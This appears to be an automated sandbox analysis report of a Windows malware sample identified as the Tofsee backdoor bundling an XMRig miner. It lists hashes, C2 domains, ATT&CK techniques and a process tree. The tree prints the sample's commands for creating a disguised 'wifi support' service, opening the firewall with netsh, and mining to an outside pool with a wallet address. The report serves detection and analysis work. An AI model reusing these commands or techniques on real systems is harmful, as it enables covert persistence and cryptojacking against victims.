Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    23-01-2022 20:05

General

  • Target

    691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe.exe

  • Size

    268KB

  • MD5

    8d7411cbca493d3ef196581219bfb427

  • SHA1

    9d641c21e7eb76d6b8792e1aee5f3191e0af3dd3

  • SHA256

    691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe

  • SHA512

    ced581dc83730c249e92864c77c9b227364518f696b361098d18a66c0ef46ae4cf219e1eb055c258735920fc13787a4128f048ab78a141729cadc6254f9c98e8

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 54 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe.exe
    "C:\Users\Admin\AppData\Local\Temp\691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jqeaxptf\
      2⤵
        PID:3048
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\namsxdqk.exe" C:\Windows\SysWOW64\jqeaxptf\
        2⤵
          PID:3484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jqeaxptf binPath= "C:\Windows\SysWOW64\jqeaxptf\namsxdqk.exe /d\"C:\Users\Admin\AppData\Local\Temp\691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1040
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description jqeaxptf "wifi internet conection"
            2⤵
              PID:2548
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start jqeaxptf
              2⤵
                PID:1736
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3900
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3436 -s 904
                  2⤵
                  • Program crash
                  PID:3956
              • C:\Windows\System32\WaaSMedicAgent.exe
                C:\Windows\System32\WaaSMedicAgent.exe 6d01dd7cce52ace938ae56c9f6f5113a siIubRRiTk+y8IxrmhWjIw.0.1.0.0.0
                1⤵
                • Modifies data under HKEY_USERS
                PID:1812
              • C:\Windows\SysWOW64\jqeaxptf\namsxdqk.exe
                C:\Windows\SysWOW64\jqeaxptf\namsxdqk.exe /d"C:\Users\Admin\AppData\Local\Temp\691a09c48c600ffd2b2c56edc2075240e2db8c48e082f4b8f27505a75f42ddbe.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3996
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:864
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2256
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 516
                  2⤵
                  • Program crash
                  PID:1040
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3436 -ip 3436
                1⤵
                  PID:1336
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3996 -ip 3996
                  1⤵
                    PID:2404
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                    1⤵
                      PID:828
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k wusvcs -p
                      1⤵
                        PID:4012

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Persistence

                      New Service

                      1
                      T1050

                      Modify Existing Service

                      1
                      T1031

                      Registry Run Keys / Startup Folder

                      1
                      T1060

                      Privilege Escalation

                      New Service

                      1
                      T1050

                      Defense Evasion

                      Modify Registry

                      1
                      T1112

                      Discovery

                      Query Registry

                      1
                      T1012

                      System Information Discovery

                      2
                      T1082

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\namsxdqk.exe
                        MD5

                        e008d0a076190415359df03dd1e2b26a

                        SHA1

                        912d2a1ba2cbed13d0400a35876ae0f748da4ed8

                        SHA256

                        cbbac5130d5f8c28f77d8dabae97905a6f9a012c541283f17bb87432d3d661ad

                        SHA512

                        a137bb6f17d4ea1a2968ddce69cf6a036e9ffd63938b19a3205e888aaa42af271b2f399353047251df0c456de3ff843488c09b02b0fbc4328368b700092ed240

                      • C:\Windows\SysWOW64\jqeaxptf\namsxdqk.exe
                        MD5

                        e008d0a076190415359df03dd1e2b26a

                        SHA1

                        912d2a1ba2cbed13d0400a35876ae0f748da4ed8

                        SHA256

                        cbbac5130d5f8c28f77d8dabae97905a6f9a012c541283f17bb87432d3d661ad

                        SHA512

                        a137bb6f17d4ea1a2968ddce69cf6a036e9ffd63938b19a3205e888aaa42af271b2f399353047251df0c456de3ff843488c09b02b0fbc4328368b700092ed240

                      • memory/864-147-0x0000000004CD0000-0x0000000004CD5000-memory.dmp
                        Filesize

                        20KB

                      • memory/864-145-0x0000000004B20000-0x0000000004B30000-memory.dmp
                        Filesize

                        64KB

                      • memory/864-135-0x0000000000470000-0x0000000000485000-memory.dmp
                        Filesize

                        84KB

                      • memory/864-151-0x0000000004CE0000-0x0000000004CE7000-memory.dmp
                        Filesize

                        28KB

                      • memory/864-149-0x0000000009A00000-0x0000000009E0B000-memory.dmp
                        Filesize

                        4.0MB

                      • memory/864-141-0x0000000004800000-0x0000000004A0F000-memory.dmp
                        Filesize

                        2.1MB

                      • memory/864-143-0x0000000004B10000-0x0000000004B16000-memory.dmp
                        Filesize

                        24KB

                      • memory/2256-157-0x0000000002C00000-0x0000000002CF1000-memory.dmp
                        Filesize

                        964KB

                      • memory/2256-153-0x0000000002C00000-0x0000000002CF1000-memory.dmp
                        Filesize

                        964KB

                      • memory/3436-130-0x0000000000890000-0x000000000089D000-memory.dmp
                        Filesize

                        52KB

                      • memory/3436-131-0x00000000008A0000-0x00000000008B3000-memory.dmp
                        Filesize

                        76KB

                      • memory/3436-132-0x0000000000400000-0x000000000044A000-memory.dmp
                        Filesize

                        296KB

                      • memory/3996-140-0x0000000000400000-0x000000000044A000-memory.dmp
                        Filesize

                        296KB

                      • memory/3996-139-0x00000000004D0000-0x00000000004E3000-memory.dmp
                        Filesize

                        76KB

                      • memory/3996-138-0x00000000004B0000-0x00000000004BD000-memory.dmp
                        Filesize

                        52KB